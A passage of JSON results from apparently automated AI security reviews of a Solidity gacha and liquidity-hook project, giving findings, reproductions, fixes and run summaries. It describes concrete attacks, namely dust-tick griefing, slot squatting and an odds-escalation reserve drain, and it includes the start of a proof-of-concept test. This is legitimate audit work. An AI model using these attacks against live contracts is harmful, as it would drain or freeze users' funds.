badPol.pullMintEscrow() reverts, nft.claimRelease() from any other caller reverts NothingOwed, gacha2.pullMintEscrow() works for its own shares and polOwed stays 5 ETH. The test passes on this code (it asserts the defect). Run: FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none forge test --match-path test/scratch/MintEscrowWire.t.sol -vv","severity":"medium","snippet":" || _readAddress(pol, IHookPOL.oracle.selector) != oracle_\n || _readAddress(pol, IHookPOL.hook.selector) != address(this)\n || _readAddress(pol, IHookPOL.token.selector) != token","title":"bindCheck and CheckLaunch verify neither POLManager.mintEscrow nor POLManager.poolManager: a mis-wired POLManager passes preflight and binding, then release() freezes the 50% POL escrow for good"},{"citation":"resolved","description":"The amounts released inside the +/-5% sqrt band are multiplied by upper/(upper - sqrtPrice) = 21, i.e. to the virtual reserve L*2^96/sqrtP of a full-range position with the same L. For a position that spans exactly the band this is 20x the tokens it holds. TwapOracle compares the scaled figure with MIN_LIQUIDITY and takes PAYOUT_CAP_BPS of it, while README lines 40 and 128 and the Curator policy string (src/Curator.sol line 302: at least 5 ETH value per side) describe a capital figure. The slippage semantics are consistent (a 5% payout against liquidity L moves the price about 10% whether L is full-range or band-only, and the band covers that move), so this is a policy mismatch plus a 20x reduction of the capital an LP who controls a token needs to make its pool pass the on-chain gate (about 0.3 ETH instead of 5 ETH, recoverable in both cases); the Curator panel remains the gate against listing such a pool, and README lines 139-141 state the design. Fix: either state in the policy string and README that the gate is a liquidity-equivalent (L) bound, not capital, so panel reviewers measure the quantity the contract does, or additionally require the unscaled WETH released inside the band to be at least a fraction of MIN_LIQUIDITY (e.g. 1 ETH) and bound the payout cap by a multiple of that released amount.","line":36,"path":"src/v3/V3Depth.sol","reproduction":"test/scratch/BandScale.t.sol: spacing-60 pool with initialized ticks -1020 and 1020 only, spot tick 0 (sqrtPrice 2^96), L = 5e18. V3Depth.balances returns amount0 = 4.999999999999999995e18 and amount1 = 4.999999999999999994e18 (L = 5.0001e18 clears MIN_LIQUIDITY); the position really holds token0 = 0.248594532077046411e18 and WETH = 0.248594532077046411e18; payoutCap = 0.249999999999999999e18, more than the 0.2486 ETH of WETH the band contains. Expected under the policy text: rejected as under 5 ETH value per side. Actual: passes validatePool/_checkPool.","severity":"low","snippet":" Math.min(Math.mulDiv(liquidity, Q96, sqrtPrice), Math.mulDiv(released, upper, upper - sqrtPrice));","title":"Full-range-equivalent scaling counts a band-only (about +/-10%) v3 position at 20x its capital: 0.25 ETH per side passes the documented 5 ETH per side policy and the cap equals all the WETH in the ban"},{"citation":"resolved","description":"Observations are written only in beforeSwap. afterInitialize stores one entry with liquidity 0 and the factory seed (same transaction) is not recorded until the first swap in a later block (T1). TwapOracle._checkGenesisPool takes min(current L, liquidityAt(30m), liquidityAt(4h)); for targets before T0 liquidityAt reverts OldObservation and for T0 <= target < T1 it returns 0, so the oracle reverts ThinPool until T1 + 4h regardless of how long ago the pool was seeded. Separately, _checkGenesisPool reverts StalePool after 3600 s without a swap because staleness measures time since the last trade although observe() extrapolates correctly. In both states BagGacha._commitGenesis returns (0,0): freeSpin reverts NothingToDraw, paid spins are regular-lane only (NothingToDraw with no mature Bags, and 100% regular odds, which amplifies the odds-escalation finding), and POLManager.buyAndBurn/addLiquidity revert through polTokensForEth. Anyone can refresh the ring with a dust swap, so this is liveness, not a lock, and the 4-hour seasoning is stated in README lines 142-143; it is reported because startTime relative to the first swap is a launch input and day-one free spins fail if startTime is within 4 h of the first swap. Fix options: write an observation in an afterAddLiquidity callback (flag 1<<10) so the seed is recorded in the factory transaction, or document that startTime must be at least 4 h after the first swap and that a keeper should trade at least hourly.","line":241,"path":"src/GoldHook.sol","reproduction":"test/scratch/GenesisDark.t.sol (Audit930Fixture, 100 ETH seed at T0): first swap at T1 = T0 + 1h, dust swaps every 59 min keep the ring fresh. At T1 + 4h - 1s: hook.liquidityAt(4 hours) == 0, oracle.genesisValueAndCap(1e18) and oracle.polTokensForEth(1e17) revert ThinPool(hook), gacha.spin{value: spinPrice().total}() reverts NothingToDraw. At T1 + 4h the same calls succeed. Expected (operationally): the lane opens 4 h after seeding. Actual: 4 h after the first swap. Staleness: with a seasoned ring and no swap for 3601 s, valueInEth(GOLD), polTokensForEth and genesisValueAndCap revert StalePool(hook) (the existing TwapOracle staleness tests cover that mechanism).","severity":"low","snippet":" observations[0] = Observation(uint32(block.timestamp), 0, true, 0); // no liquidity exists yet","title":"Genesis lane liveness depends on swap cadence: dark until the first post-seed swap plus 4 hours, and again after any hour without a GOLD swap"},{"citation":"resolved","description":"The runbook (path A) requires the preflight to pass before the NFT owner names targets. The check demands balanceOf(vault) == genesisSupply, but any holder can transfer GOLD to the vault and nothing can remove it (the vault only pays claims and dividends). GenesisVault.quote needs only balanceOf >= genesisSupply - withdrawn, so a surplus is harmless on chain while the script refuses on every later run and operators must edit it under time pressure. Fix: revert only on balanceOf < genesisSupply and log any surplus.","line":25,"path":"script/CheckLaunch.s.sol","reproduction":"Existing test test/audit930ea061/GenesisAndBinding.t.sol::testPathAFundingAndPreflightBeforeOwnerNamesTargets shows it: vault funded with exactly genesisSupply, then gold.mint(address(vault), 1) makes CheckLaunch.run revert WrongFunding; the test has to prank the vault to send the wei back before the script passes, which nobody can do on chain. Expected: a vault holding at least what it owes passes. Actual: WrongFunding on every run.","severity":"low","snippet":" if (IERC20(hook.token()).balanceOf(address(vault)) != vault.genesisSupply()) revert WrongFunding();","title":"CheckLaunch requires exact vault funding, so 1 wei of GOLD sent to the vault by anyone makes the preflight revert forever"},{"citation":"resolved","description":"The pinned runtime hash fixes BagGacha code but not the storage its constructor sets: vrf, team, curator, startTime. bindCheck cannot know the right wrapper and CheckLaunch never calls gacha.spinPrice() or vrf.calculateRequestPriceNative. If vrf is the VRF coordinator, a wrapper of another chain or a stale wrapper, _paidSpin and freeSpin revert on the price call forever; the gacha's 40% escrow share (up to 4 ETH), every hook reserve flush (including the 90/50/25% early buy tax) and donations become unspendable, with no admin, no rescue and no rebinding (AlreadyBound). Fix: in CheckLaunch after the funding check add `(uint256 total, uint256 fee) = gacha.spinPrice(); if (fee == 0 || total <= fee) revert WrongWiring();`, assert gacha.curator() == vault.curator() and gacha.startTime() within the intended window, and compare address(gacha.vrf()) with the chain-table wrapper passed as a script argument.","line":30,"path":"script/CheckLaunch.s.sol","reproduction":"By inspection of script/CheckLaunch.s.sol lines 19-35 and src/BagGacha.sol lines 377-380, 496 and 504: deploy BagGacha with vrfWrapper_ = any contract without calculateRequestPriceNative (e.g. the VRF coordinator). CheckLaunch.run passes every check (the hash is unchanged; bindCheck reads only oracle, genesis, nft and polManager) and bindGacha succeeds; afterwards gacha.spin{value: x}() reverts inside vrf.calculateRequestPriceNative for every caller and the reserve plus flushed hook share can never be paid out. Expected: preflight fails.","severity":"low","snippet":" bytes4 reason = hook.bindCheck(gachaAddress);\n if (reason != bytes4(0)) revert BindNotReady(reason);","title":"CheckLaunch does not exercise the gacha VRF wrapper or its other constructor words: a wrong vrf address passes preflight, then every spin reverts and the reserve is stranded after release"}],"hash":"788bee624dc7ad417c257c2d1856125f4a903afc77018d40e03c05a52f7ce1c3","nodeId":"a8eddea9-7284-48f3-8924-649351c32ad2","outcome":"completed","summary":"The review is complete. The findings file at `.imd-findings.json` holds seven reproduced findings, and no source file was changed.\n\n**Build and pins confirmed.** Under the launch profile the suite passes (198 passed, 2 fork suites skipped) and the BagGacha runtime hashes to the pinned value 0xbdb13664…f1ad. Flags 0x38CC match getHookPermissions bit for bit. Every 930ea061 fix listed in item 1 is present and behaves as the report describes: full-range-only adds, max-quote POL floor versus min-quote vault, harmonic-liquidity band depth, Genesis depth at max price and min liquidity, GOLD refused by seal, shared bindCheck plus CheckLaunch, exclusive VRF deadline, and the path A funding check.\n\n**Findings kept, each reproduced on this tree:**\n\n- **High, odds escalation drains the reserve** (`src/BagGacha.sol:640`). Empty-tier odds move upward, so one actor holding the only mature Bag gets 100% of regular draws at 95% of a large-tier value for a 0.0105 ETH spin. The attached proof fails on this code with odds 10000 and the reserve dropping 4.0 to 3.95 ETH in one spin. Fix: never move odds up; treat an empty small tier as an empty regular lane.\n- **Medium, dust-tick unpriceability** (`src/v3/V3Depth.sol:74`). Merged from four specialists. A 1-wei position one spacing from the price cuts measured depth to 6.3%, and a swap parked exactly on an initialized tick measures zero. Bags holding the token drop out of snapshots and can squat all 32 slots. No ETH is locked. Proof attached. Fix: walk a bounded number of ticks with liquidityNet and treat a tick at the spot price as crossed.\n- **Medium, bindCheck misses two POLManager wires** (`src/GoldHook.sol:370`). A POLManager with the wrong mintEscrow passes CheckLaunch, bindCheck and bindGacha, then release freezes the 5 ETH POL escrow forever. Reproduced in a scratch test against the deployed NFT fixture.\n- **Low, band scaling versus the 5 ETH policy text** (`src/v3/V3Depth.sol:36`). A band-only position holding 0.25 ETH per side passes MIN_LIQUIDITY. Downgraded from the specialist's medium because the slippage semantics are consistent and the Curator panel remains the gate.\n- **Low, Genesis lane liveness** (`src/GoldHook.sol:241`). Dark until the first swap plus 4 hours, and after any hour without a swap. Merged with the staleness note.\n- **Low, exact funding check** and **low, unchecked VRF wrapper** in `script/CheckLaunch.s.sol`.\n\n**Dropped or folded:** the build-profile note is documented and tested, so it is not listed as a finding. The audit_math low items are absorbed into the medium dust-tick finding.\n\n**Limits:** no fork tests were run, Slither was not available, and the bindGacha review against the deployed GoblinNFT found no lock path beyond the mintEscrow wire and the documented retarget-before-release trust assumption.","treeHash":null,"usage":{"cachedInputTokens":2018341,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":45531,"runtime":"claude","turns":38,"wallClockMs":791644}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1731fbfe0c4574fb","findings":[{"citation":"resolved","description":"V3Depth._edge returns the sqrt price of the first initialized tick in each direction and balances() counts only the liquidity released before it, scaled by 21x (the fixed 5% band) to a full-range equivalent. Any address can initialize a tick in a Uniswap v3 pool by minting a position with liquidity 1 (token cost 0-1 wei, about 300k gas). The downward search starts at the current compressed tick itself (v3 lte semantics), so a position whose lower tick equals the floor of the current spacing bucket caps the downward side at L*(sqrtP - sqrtAtTick(floor))/2^96 * 21, which is 0 when the price sits on the bucket floor and at most spacing*0.00005*21 of the virtual reserve otherwise (6.3% at spacing 60, 1.05% at spacing 10, 0.105% at spacing 1). The upward side is capped the same way by a tick one spacing above. TwapOracle._liquidBalances then reverts ThinPool whenever the WETH side (or the TWAP-valued token side) is under 5 ETH, so one such position per listed token keeps that token unpriceable regardless of the pool's real depth. The same state arises without an attacker whenever a swap lands exactly on an initialized tick (v3 sets tick = tickNext-1 with sqrtPrice == sqrtAtTick(tickNext)). Consequences: seal() of any Bag containing the token reverts BadBag/ThinPool; _buildSnapshot drops every Bag holding it (catch -> continue), so those Bags are not drawable and their depositors' Bags are excluded from every snapshot while the position exists; withdraw() charges no exit fee because bagValue reverts, so a depositor can grief their own token's pool to exit fee-free; when every regular token is griefed and the Genesis lane is unavailable (first 4h, stale ring, depth under 1 ETH) _request reverts NothingToDraw and spins stop; a Curator Pool proposal that was approved can be made to fail at execute() (TwapOracle.setPool -> validatePool -> _checkPool reverts ThinPool) for its whole 1-hour validity, wasting the proposer's IMD fee and the panel. No funds are locked (withdraw still works after maturation, draws of other Bags continue), hence Medium. report.md records the limitation as 'curators must evaluate the actual bound before listing' but the state is created after listing, by anyone, at any time. Fix (keeps the conservative intent): walk the initialized ticks inside the band instead of stopping at the first one. On each initialized tick read IUniswapV3Pool.ticks(tick).liquidityNet, update L' = L + liquidityNet (crossing up) or L - liquidityNet (crossing down), accumulate the released amount of each segment with min(L, L') (never credit liquidity that only appears after the crossing), and stop after a bounded number of crossings (e.g. 8) or at the band edge. A 1-wei position then reduces depth by 1 wei. Alternatively treat a crossing whose liquidityNet has the harmless sign (>= 0 upward, <= 0 downward) as transparent and keep stopping only on real removals.","line":74,"path":"src/v3/V3Depth.sol","reproduction":"MockV3Pool (test/mocks/CuratorMocks.sol) with liquidity 1000 ether, history 1000 ether, spacing 60, sqrtPrice 2^96, tick 0, token0 = token: oracle.payoutCap(token) == 49.999... ETH. Then pool.setInitializedTick(0, true) (equivalent to any address minting liquidity 1 on [0, 60]): V3Depth.balances(pool, 2^96, 0, 1000e18) returns (999999999999999999987, 0) and oracle.payoutCap(token) reverts ThinPool(pool). With tick 30 and setInitializedTick(60, true) the upward side falls from 998.5 ETH to 31.4 ETH (3.1%); with spacing 10, tick 1 and setInitializedTick(0, true) the downward side falls from 100,005 ETH to 105 ETH (0.105%). Expected: a position of 1 unit of liquidity changes depth by at most 1 unit. Actual: ThinPool for every Bag holding the token until the position is burned. Test: test/scratch/TickGrief.t.sol (testCurrentBucketFloorTickZeroesDownwardDepth, testAdjacentTickCapsUpwardSide).","severity":"medium","snippet":" if (bitmap != 0) return price;","title":"V3Depth stops at the first initialized tick: a 1-wei v3 position at the current bucket makes any listed token unpriceable at gas cost only"}],"hash":"b3f27f7cf1397343acb23daf8fff9abb0756b00c79026144256f1f39b8be21cb","nodeId":"0c4a7421-b6e3-4677-b05c-a81610b00ec4","outcome":"completed","summary":"Review complete. The findings file holds one substantiated finding; everything else I probed held up.\n\n**Verification of the 930ea061 fixes (all confirmed on the tree at 170070d)**\n\n- Launch profile build and tests pass (198 passed, 2 fork suites skipped). The pinned BagGacha runtime hash under that profile is exactly `0xbdb13664…af1ad`.\n- Protected profile (via_ir) builds in 253 s and passes 200 tests. The only failure in that run was my own scratch assertion, since corrected.\n- Hook flags 0x38CC equal bits 13,12,11,7,6,3,2 and match getHookPermissions field for field. beforeAddLiquidity rejects anything but [-887220, 887220] and is PoolManager-only.\n- polTokensForEth takes the larger window quote for POL floors, GenesisVault keeps the smaller via tokensForEth. Genesis value is priced at the 4-hour tick alone, so a Genesis Bag never exceeds (1-d)P and buyback stays below the spin price.\n- Genesis depth uses max(spot, 4h sqrt price) and min(L now, L@30m, L@4h) with pre-swap recorded liquidity, so same-transaction adds cannot raise it. seal refuses GOLD. bindCheck covers every wire and CheckLaunch simulates naming, funding equality, the zero reason and the bind at the review boundary.\n- VRF: words at or after requestedAt + CANCEL_DELAY are ignored and cancellation is allowed exactly from that second, so there is no overlap. Harmonic-mean liquidity matches OracleLibrary with uint160 wrap and a 192-bit denominator; delta can never be below 1800 so the uint128 cast cannot truncate. Both token orders map to the correct side.\n\n**The one Medium finding (recorded in .imd-findings.json)**\n\nV3Depth stops at the first initialized tick in each direction. Anyone can initialize a tick in a Uniswap v3 pool by minting a 1-unit position, at gas cost only. I confirmed with the project's own mock that one such tick at the current bucket floor drives the downward side of a 1000 ETH per side pool to zero and ThinPool, and that an adjacent tick leaves about 3% at spacing 60 or 0.1% per tick at spacing 10. Effects: that token cannot be sealed, every Bag holding it drops out of every snapshot, its depositors can exit fee-free, an approved Curator listing can be made to fail for its whole validity window, and spins stop entirely if all tokens are griefed while the Genesis lane is unavailable. No funds are locked, so Medium. The fix in the file: walk initialized ticks inside the band using liquidityNet with a running minimum and a bounded crossing count, so a 1-wei position changes depth by 1 wei. The scratch test is in test/scratch/TickGrief.t.sol.\n\n**Checked and found no defect**\n\n- Genesis lane and full-range-only adds: no tick griefing is possible, and forcing depth under 1 ETH needs a real multi-reserve GOLD dump at full fees.\n- bindGacha against the deployed GoblinNFT: every bindCheck input except the NFT targets is immutable, only the owner can retarget, and a wrong set frozen by release stays the documented operational risk. No new lock path.\n- Rounding in band math, payout above paid value, split-bag accounting, hook reentrancy through flush and afterSwap, and ETH conservation in BagGacha all held.\n- Oracle manipulation at minimum depth remains an economic trust assumption on the Curator listing only canonical tokens. I did not find a profitable path at the stated parameters.\n\nNot run: Slither or Mythril (not provided), and no fork tests (no RPC). No source files were changed.","treeHash":null,"usage":{"cachedInputTokens":1240078,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":51264,"runtime":"claude","turns":32,"wallClockMs":1298072}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"803eeae3d8b63de3","findings":[{"citation":"resolved","description":"V3Depth.balances counts only the liquidity released between the spot price and the nearest initialized tick in each direction, then scales by the band fraction (x21). Any account can initialize a tick next to the price with a dust position (liquidityDelta 1 on [tickBoundary, tickBoundary+spacing]); the nearer boundary is always within spacing/2 ticks of the price, so for a spacing-60 pool the released fraction is at most about 0.15% of L and the scaled depth is at most about 3.2% of the virtual reserve. Every pool whose per-side depth is below roughly 160 ETH then fails MIN_LIQUIDITY (5 ETH) and TwapOracle reverts ThinPool for that token. Consequences in BagGacha: seal() of that token reverts; _buildSnapshot skips every Bag holding it (try/catch), so those Bags cannot be drawn while they keep earning GenesisVault dividend shares; withdraw() waives the 0.5% exit fee because bagValue reverts (a depositor can grief their own token's pool for one block to exit fee-free). Draws, payouts, settlement and cancelRequest do not read the oracle, so no ETH is locked. The stronger effect is slot squatting: MAX_ACTIVE is 32. An attacker seals 32 Bags of a listed token T (each at the 0.003 ETH tier floor, about 0.1 ETH total, recoverable fee-free after 24 h), then adds the dust tick. All 32 Bags are permanently undrawable, seal() reverts TooManyActive for everyone, every _request has regularEmpty = true (Genesis-only spins), and when the Genesis lane is unavailable every spin reverts NothingToDraw. Cost is gas plus 0.1 ETH of the attacker's own tokens; it lasts until the attacker chooses to withdraw. README line 139 documents the tick effect as a conservative choice but not the slot-squatting consequence.","line":74,"path":"src/v3/V3Depth.sol","reproduction":"test/scratch/V3DepthGrief.t.sol testDustTickCollapsesDepth (mock pool exposing tickSpacing/tickBitmap; harness calls V3Depth.balances). Pool spacing 60, full-range liquidity ticks -887220/887220 initialized, spot tick 25 (sqrtPrice = sqrtPriceAtTick(25)), L = 100e18. Before: amount0 = 99.875e18, amount1 = 100.125e18 (both sides about 100 ETH). Attacker initializes tick 0 (position [0,60], liquidity 1 wei): amount1 = 2.6265e18 < MIN_LIQUIDITY 5e18, so TwapOracle._liquidBalances reverts ThinPool for a token 0.2486e18 real WETH in the band. Expected under 'at least 5 ETH value per side': the pool is rejected, or the cap is bounded by the ETH the band actually releases. Fix (preserving the no-raw-balance design): keep the scaled value for MIN_LIQUIDITY only if that is the intended policy, but set the ETH-side depth used for the payout cap to the unscaled released amount (what a 10% move actually pays out), i.e. return both released and scaled from V3Depth.balances and let TwapOracle use min(scaled, releasedWethSide * K) with K about 2 for cap; or simply drop the scaling and lower MIN_LIQUIDITY to the real-capital figure intended. Document the chosen trade-off in the Curator policy string so panel reviewers measure the same quantity the contract does.","severity":"medium","snippet":" Math.min(Math.mulDiv(liquidity, Q96, sqrtPrice), Math.mulDiv(released, upper, upper - sqrtPrice));","title":"Full-range-equivalent scaling counts a +/-10% concentrated v3 position at 20x its real capital: 0.25 ETH passes MIN_LIQUIDITY 5 ETH and the payout cap exceeds the ETH actually in the band"},{"citation":"resolved","description":"bindCheck checks pol.oracle, pol.hook and pol.token but not pol.mintEscrow (must equal NFT) or pol.poolManager (must equal the hook's poolManager). CheckLaunch.s.sol checks only runtime hash, flags, vault funding, bindCheck and a simulated bindGacha. GoblinNFT.claimRelease pays polOwed only to msg.sender == polTarget, and POLManager's only path to it is pullMintEscrow, which reads its own immutable mintEscrow. A POLManager deployed with mintEscrow pointing anywhere but 0xC5d5...6cB1 (or with a wrong poolManager) therefore: passes CheckLaunch, is named as polTarget, passes bindCheck/bindGacha, and once release() runs (permissionless after the 7-day review) polOwed = liveSupply*PRICE/2 (up to 5 ETH) can never be claimed; with a wrong poolManager every addLiquidity/buyAndBurn reverts and all POL/burn budget ETH (40%+2%/4% of every spin, 50% of mint) is stranded. Nothing can retarget after release and POLManager has no rescue. This is the same lock-out class as audit finding 5, which the shared bindCheck was meant to close for 'every wire'.","line":370,"path":"src/GoldHook.sol","reproduction":"State: deploy TwapOracle, GenesisVault, BagGacha (launch profile, hash 0xbdb1...f1ad) correctly; deploy POLManager(poolManager, GOLD, hook, oracle, mintEscrow = address of any contract other than the NFT, e.g. a second GoblinNFT or a mock exposing polTarget()/polOwed()); set BagGacha.polManager to it. Run CheckLaunch.run(hook, gacha): WrongRuntimeCode, WrongPermissions, WrongFunding and BindNotReady all pass (bindCheck returns 0 because pol.oracle/hook/token match), bindGacha succeeds. Owner names targets, review ends, release() sets polOwed = 5 ETH. POLManager.pullMintEscrow(): mintEscrow.polTarget() != address(this) so owed = 0, reverts NothingOwed; GoblinNFT.claimRelease() from any other caller reverts NothingOwed. Expected: preflight fails. Fix: add to bindCheck, inside the GachaMismatch clause, `|| _readAddress(pol, bytes4(keccak256(\"mintEscrow()\"))) != NFT || _readAddress(pol, bytes4(keccak256(\"poolManager()\"))) != address(poolManager)` (declare them on IHookPOL), and mirror both checks in CheckLaunch.s.sol.","severity":"medium","snippet":" || _readAddress(pol, IHookPOL.oracle.selector) != oracle_","title":"bindCheck/CheckLaunch verify neither POLManager.mintEscrow nor POLManager.poolManager: a mis-wired POLManager passes preflight and binding, then release() freezes the 50% POL escrow unclaimably"},{"citation":"resolved","description":"The pinned runtime hash fixes BagGacha's code but not its storage set in the constructor: vrf, team, curator, startTime. bindCheck cannot know the correct wrapper, and CheckLaunch never calls gacha.spinPrice() or vrf.calculateRequestPriceNative. If vrf is the VRF coordinator, a wrapper from another chain, or a stale wrapper, _paidSpin/freeSpin revert on the price call forever; the gacha's 40% escrow share (up to 4 ETH), all hook reserve flushes (including the 90/50/25% early buy tax) and donations become unspendable, with no admin and no rescue, and the hook can never be rebound (AlreadyBound).","line":30,"path":"script/CheckLaunch.s.sol","reproduction":"State: BagGacha deployed with vrfWrapper_ = the VRF v2.5 coordinator address (not the direct-funding wrapper) or any address without calculateRequestPriceNative. CheckLaunch.run passes every check and bindGacha succeeds; after release and pullMintEscrow, gacha.spin{value: ...}() reverts in vrf.calculateRequestPriceNative for every caller; reserve = 4 ETH + flushed hook share can never be paid out. Expected: preflight fails. Fix: in CheckLaunch, after the funding check add `(uint256 total, uint256 fee) = gacha.spinPrice(); if (fee == 0 || total <= fee) revert WrongWiring();`, assert gacha.team() != address(0), gacha.curator() == vault.curator(), gacha.startTime() is within the intended window, and compare address(gacha.vrf()) with a chain table entry passed as a script argument.","severity":"low","snippet":" bytes4 reason = hook.bindCheck(gachaAddress);","title":"CheckLaunch does not exercise the BagGacha's VRF wrapper or unverifiable constructor words; a wrong vrf address makes every spin revert and strands the reserve after release"},{"citation":"resolved","description":"Observations are written only in beforeSwap. After afterInitialize the ring holds one entry with liquidity 0 and the factory's seed is not recorded until the first swap in a later block. TwapOracle._checkGenesisPool takes min(current L, liquidityAt(30m), liquidityAt(4h)). For t - 4h before init, liquidityAt reverts OldObservation; for init <= t - 4h < firstSwap it returns 0 and the oracle reverts ThinPool. Both are swallowed by BagGacha._commitGenesis, so for four hours after the first swap every freeSpin reverts NothingToDraw, holderSpin/spin are regular-lane only (NothingToDraw if no Bag is 24 h mature), and POLManager.buyAndBurn/addLiquidity revert because polTokensForEth reverts. This is consistent with the stated design but is a launch-day sequencing hazard: if startTime is within 4 h of the first swap, holders' free Genesis spins fail on day one.","line":241,"path":"src/GoldHook.sol","reproduction":"Launch at T0 (initialize + seed in the factory tx). First swap at T1 = T0 + 1 h writes observation[1] with L = seed. At t = T1 + 3 h 59 m: liquidityAt(4h) target = T0 + 59 m, which is between observation[0] (T0, L = 0) and observation[1] (T1), so it returns 0; _checkGenesisPool reverts ThinPool; BagGacha.freeSpin(tokenId) reverts NothingToDraw; POLManager.buyAndBurn(1e17) reverts ThinPool. At t = T1 + 4 h the same calls succeed. Expected (operationally): startTime >= first-swap time + 4 h, or afterInitialize/first add should record seed liquidity. Fix options: have afterInitialize record nothing and instead add an afterAddLiquidity observation write (flag 1<<10) so the seed is recorded in the factory transaction, or document in README that startTime must be at least 4 h after the launch transaction and that a swap must follow seeding promptly.","severity":"low","snippet":" observations[0] = Observation(uint32(block.timestamp), 0, true, 0); // no liquidity exists yet","title":"Genesis lane is dark for 4 hours after the first swap (not after seeding): liquidityAt(4h) returns observation[0].liquidity = 0 until the first post-seed observation is four hours old"}],"hash":"e026e64f2c2b88cb9532bd00c10a42801b431f6b6bfab6460bf8498ca6e6051b","nodeId":"8718792d-8a07-43c6-add6-bf81d5dcaebe","outcome":"completed","summary":"Review complete. Findings are in `.imd-findings.json` (5 entries, every path/line/snippet verified against the tree). No source files were changed. The only files I wrote are the findings file and a scratch test under `test/scratch/`.\n\n**Verification under both profiles**\n\n| Check | Result |\n|---|---|\n| Launch profile (`FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none`) build and seeded test run | 198 passed, 0 failed, 2 fork-only skipped |\n| BagGacha runtime hash under launch profile | `0xbdb13664…f1ad`, matches `GACHA_RUNTIME_CODE_HASH` |\n| Protected default profile (via-IR) build and seeded test run | build ok in about 13 min; 198 passed, 0 failed, 2 skipped |\n\n**930ea061 fixes, confirmed in code**: full-range-only `beforeAddLiquidity` with flags `0x38CC` and a matching `getHookPermissions`; `polTokensForEth` takes the max window while `GenesisVault` keeps the min; Genesis depth uses max(spot, 4h) price and min(L now, 30m, 4h); `seal` refuses GOLD; VRF words at or after `requestedAt + CANCEL_DELAY` are ignored and `cancelRequest` opens at exactly that instant with no overlap; `bindCheck` is shared by `bindGacha` and the script; path A funding equality is checked. I found no payout-above-paid path in the Genesis lane (value is at most (1-d)P, buyback at most 0.81P), no hook reentrancy, no harmonic-counter wrap issue (truncation only fails closed), and no reachable division by zero in the band math.\n\n**Findings (3 medium, 2 low)**\n\n- **Medium, V3Depth dust-tick griefing.** A 1-wei position initializing the tick boundary nearest the price drops a 100 ETH pool's measured depth to 2.6 ETH, so the token reverts `ThinPool`. Consequence beyond the documented one: 32 cheap Bags of that token plus the dust tick permanently occupy every active slot, blocking `seal` for everyone and making spins Genesis-only. No ETH is locked. Fix sketched: continue past ticks using `liquidityNet`, and let stale unpriceable Bags be deactivated.\n- **Medium, full-range-equivalent scaling.** A single ±10% band position with 0.25 ETH of real WETH passes `MIN_LIQUIDITY` 5 ETH and gets a 0.25 ETH per-draw cap, more than the band holds. This contradicts the \"5 ETH per side\" policy and re-admits for v3 pools the inflation finding 1 removed from Genesis. Fix: bound the cap by the unscaled released amount.\n- **Medium, bindCheck wiring gap.** `POLManager.mintEscrow` and `POLManager.poolManager` are not checked by `bindCheck` or `CheckLaunch`. A mis-wired POLManager passes preflight and binding, and after `release()` the 50% POL escrow is unclaimable forever. Fix: two more `_readAddress` checks.\n- **Low, CheckLaunch does not exercise the VRF wrapper.** A wrong `vrf` address passes every preflight step and strands the reserve after release.\n- **Low, Genesis lane dark for 4 hours after the first swap.** Observation zero records liquidity 0, so free spins and POL buys fail until the first post-seed observation ages four hours. A launch-sequencing hazard for `startTime`.\n\n**Not done**: no fork tests (offline), no Slither or Mythril. The protected-profile fuzz run used the report's seed only once.","treeHash":null,"usage":{"cachedInputTokens":1343134,"inputTokens":294,"model":"claude-fable-5-1","outputTokens":46546,"runtime":"claude","turns":28,"wallClockMs":1975233}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"468e82a89b9bfe18","findings":[{"citation":"resolved","description":"_buildSnapshot moves the odds of every empty tier to the nearest lower non-empty tier, else to the nearest HIGHER one. Inventory is permissionless and the depositor of a drawn Bag is paid 95% of its snapshot value from the reserve on keep (the default outcome via finalize). An actor who is the only depositor with mature Bags therefore chooses the whole tier distribution: with one large-tier Bag (value in [2P,6P)) the small and medium tiers are empty and their 9300 bps move UP, so req.odds = [0,0,10000,0] and every regular-lane draw pays that Bag. Per regular spin the reserve receives 88% of P = 0.0088 ETH and pays 0.95 * V, with V up to min(5% of reserve, 70P, payout cap): at a 4 ETH reserve the attacker nets about 0.046 ETH per spin on a 0.0105 ETH outlay and gets the tokens back (claimBag) to re-seal; at a 14 ETH reserve (jackpot on) one 0.7 ETH Bag pays 0.665 ETH per regular draw. The attacker does not need to be the spinner: with a controlled population every spinner has positive EV and the reserve is the counterparty either way. Filling all 32 active slots (TooManyActive for everyone else) keeps the population controlled. The Genesis lane only halves the rate (60%) and is off whenever GOLD has not traded for an hour. Fix: never move odds up. Odds of an empty tier with no lower non-empty tier become a no-regular-win outcome (routed to the Genesis lane when available, otherwise the spin price is credited back minus the VRF fee, or the request reverts NothingToDraw), and additionally bound what a regular draw may pay relative to accumulated regular-spin income (for example keep price <= k * P per tier) so a controlled inventory cannot exceed the house edge. Both keep the agreed tiers and payouts for a natural population.","line":640,"path":"src/BagGacha.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {BagGacha} from \"src/BagGacha.sol\";\n\ncontract DrainToken is ERC20 {\n constructor() ERC20(\"T\", \"T\") {\n _mint(msg.sender, 1_000_000 ether);\n }\n}\n\n/// @dev Prices every token at 1 token = 1e-3 ETH, no payout cap.\ncontract DrainOracle {\n function isPriced(address) external pure returns (bool) {\n return true;\n }\n\n function valueInEth(address, uint256 a) external pure returns (uint256) {\n return a / 1000;\n }\n\n function valueAndCap(address, uint256 a) external pure returns (uint256, uint256) {\n return (a / 1000, type(uint256).max);\n }\n\n function genesisValueAndCap(uint256 a) external pure returns (uint256, uint256) {\n return (a / 1000, type(uint256).max);\n }\n}\n\n/// @dev Genesis lane unavailable (vault unfunded or GOLD stale): quote() == 0, so every spin is a regular draw.\ncontract DrainVault {\n address public immutable token;\n\n constructor(address t) {\n token = t;\n }\n\n function quote(bool) external pure returns (uint256) {\n return 0;\n }\n\n function commit(bool) external pure returns (uint256) {\n return 0;\n }\n\n function uncommit(uint256) external {}\n function deliver(address, uint256) external {}\n function setShares(address, uint256) external {}\n}\n\ncontract DrainVRF {\n uint256 public last;\n\n function calculateRequestPriceNative(uint32, uint32) external pure returns (uint256) {\n return 0.0005 ether;\n }\n\n function 